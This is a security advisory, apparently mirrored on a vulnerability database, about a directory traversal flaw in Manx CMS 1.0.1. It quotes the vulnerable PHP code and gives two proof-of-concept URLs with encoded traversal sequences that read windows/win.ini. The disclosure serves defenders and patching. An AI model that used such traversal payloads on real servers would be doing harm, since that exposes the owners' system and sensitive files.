Lucene search
K

Manx cms.xml 1.0.1 (simplexml_load_file()) Directory Traversal Vulnerability

🗓️ 28 Nov 2011 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 26 Views

Manx cms.xml 1.0.1 (simplexml_load_file()) Directory Traversal Vulnerability allows disclosure of arbitrary files. Impact: Exposure of System Information, Sensitive Information. Vendor released a patch on 03.12.2011

Code
<html><body><p>Manx cms.xml 1.0.1 (simplexml_load_file()) Directory Traversal Vulnerability


Vendor: Paul Jova
Product web page: http://manx.jovascript.com
Affected version: 1.0.1

Summary: Manx is a Content Management System that uses xml
text files to store the page contents, instead of a mysql
database.

Desc: Input passed via the 'fileName' parameter thru the
simplexml_load_file() function is not properly verified
in '/admin/admin_blocks.php' and '/admin/admin_pages.php'
(post-auth) before being used to load files. This can be
exploited to disclose the contents of arbitrary files via
directory traversal attacks.


==============================================================
/admin/admin_blocks.php:
--------------------------------------------------------------

20: if ( isset($_REQUEST['fileName']) &amp;&amp; ($_REQUEST['fileName'] !== '') &amp;&amp; strstr($_REQUEST['fileName'], 'Dir') == false )
21: {
22:     $fileName = $_REQUEST['fileName'];
23: }
24: else $fileName = $new_file;

...
...

193: if ( ($fileName != '') &amp;&amp; (file_exists($pathAdminToBlocks . $fileName)) )
194: {
195:    $simple_element = simplexml_load_file($pathAdminToBlocks . $fileName);

==============================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           MySQL 5.5.16
           PHP 5.3.8


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2011-5060
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5060.php



27.11.2011


PoC:


http://localhost/admin/admin_blocks.php?editorChoice=none&amp;fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
http://localhost/admin/admin_pages.php?editorChoice=none&amp;fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Nov 2011 00:00Current
5.9Medium risk
Vulners AI Score5.9
26